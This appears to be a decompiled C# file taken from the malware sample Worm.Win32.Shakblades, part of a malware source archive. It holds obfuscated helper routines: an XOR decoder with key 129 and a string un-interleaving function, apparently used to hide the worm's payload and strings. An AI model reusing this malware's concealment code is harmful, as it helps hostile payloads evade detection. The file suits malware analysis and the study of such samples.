MalwareSourceCode/MSIL/Worm/Win32/S/Worm.Win32.Shakblades.ajg-6d5fef800026555b0865a8fd9ba051fda07985211385e0bd92a5e9a77af03653/Zgyvqmp0xpqwooihm.cs
2022-08-18 06:28:56 -05:00

39 lines
1.5 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Zgyvqmp0xpqwooihm
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-6d5fef800026555b0865a8fd9ba051fda07985211385e0bd92a5e9a77af03653.exe
using System;
using System.Text;
public static class Zgyvqmp0xpqwooihm
{
public static int Qjej3zah1v0qd232c = 129;
public static byte[] Rhjia2qmjg1uefwsxroduqr0s(byte[] Gtuvri4z1npalso5jwqoi0iru)
{
for (int index = 0; index < Gtuvri4z1npalso5jwqoi0iru.Length; ++index)
{
char ch = (char) ((uint) Convert.ToChar(Gtuvri4z1npalso5jwqoi0iru[index]) ^ (uint) Zgyvqmp0xpqwooihm.Qjej3zah1v0qd232c);
Gtuvri4z1npalso5jwqoi0iru[index] = Convert.ToByte(ch);
}
return Gtuvri4z1npalso5jwqoi0iru;
}
public static string A1ns3kzzckrkw2k2snvelcbss(string Vxl3tfinjjgkwgrbaafdapoa1)
{
int length = Vxl3tfinjjgkwgrbaafdapoa1.Length;
string str1 = Vxl3tfinjjgkwgrbaafdapoa1.Substring(0, (Vxl3tfinjjgkwgrbaafdapoa1.Length + 1) / 2);
string str2 = Vxl3tfinjjgkwgrbaafdapoa1.Substring((Vxl3tfinjjgkwgrbaafdapoa1.Length + 1) / 2, Vxl3tfinjjgkwgrbaafdapoa1.Length - (Vxl3tfinjjgkwgrbaafdapoa1.Length + 1) / 2);
int num = 0;
StringBuilder stringBuilder = new StringBuilder(str1);
for (int index = 0; index < str2.Length; ++index)
{
stringBuilder.Insert(num + 1, str2[index]);
num += 2;
}
return stringBuilder.ToString();
}
}